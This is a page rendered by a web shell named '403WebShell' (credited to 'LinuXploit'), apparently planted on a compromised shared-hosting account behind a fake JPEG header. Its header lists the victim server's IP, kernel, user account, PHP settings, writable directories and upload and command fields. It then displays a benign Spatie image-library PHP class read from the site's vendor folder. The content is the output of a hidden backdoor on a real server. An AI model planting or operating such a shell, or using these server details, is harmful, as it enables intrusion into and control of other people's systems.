����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.143.7.5
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/spatie/image/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/spatie/image/src/ManipulationSequence.php
<?php

namespace Spatie\Image;

use ArrayIterator;
use IteratorAggregate;

class ManipulationSequence implements IteratorAggregate
{
    protected array $groups = [];

    public function __construct(array $sequenceArray = [])
    {
        $this->startNewGroup();
        $this->mergeArray($sequenceArray);
    }

    public function addManipulation(string $operation, string $argument): static
    {
        $lastIndex = count($this->groups) - 1;

        $this->groups[$lastIndex][$operation] = $argument;

        return $this;
    }

    public function merge(self $sequence): static
    {
        $sequenceArray = $sequence->toArray();

        $this->mergeArray($sequenceArray);

        return $this;
    }

    public function mergeArray(array $sequenceArray): void
    {
        foreach ($sequenceArray as $group) {
            foreach ($group as $name => $argument) {
                $this->addManipulation($name, $argument);
            }

            if (next($sequenceArray)) {
                $this->startNewGroup();
            }
        }
    }

    public function startNewGroup(): static
    {
        $this->groups[] = [];

        return $this;
    }

    public function toArray(): array
    {
        return $this->getGroups();
    }

    public function getGroups(): array
    {
        return $this->sanitizeManipulationSets($this->groups);
    }

    public function getIterator(): ArrayIterator
    {
        return new ArrayIterator($this->toArray());
    }

    public function removeManipulation(string $manipulationName): static
    {
        foreach ($this->groups as &$group) {
            if (array_key_exists($manipulationName, $group)) {
                unset($group[$manipulationName]);
            }
        }

        return $this;
    }

    public function isEmpty(): bool
    {
        if (count($this->groups) > 1) {
            return false;
        }

        if (count($this->groups[0]) > 0) {
            return false;
        }

        return true;
    }

    protected function sanitizeManipulationSets(array $groups): array
    {
        return array_values(array_filter($groups, function (array $manipulationSet) {
            return count($manipulationSet);
        }));
    }

    /*
    * Determine if the sequences contain a manipulation with the given name.
    */
    public function getFirstManipulationArgument($searchManipulationName)
    {
        foreach ($this->groups as $group) {
            foreach ($group as $name => $argument) {
                if ($name === $searchManipulationName) {
                    return $argument;
                }
            }
        }
    }

    /*
    * Determine if the sequences contain a manipulation with the given name.
    */
    public function contains($searchManipulationName): bool
    {
        foreach ($this->groups as $group) {
            foreach ($group as $name => $argument) {
                if ($name === $searchManipulationName) {
                    return true;
                }
            }

            return false;
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit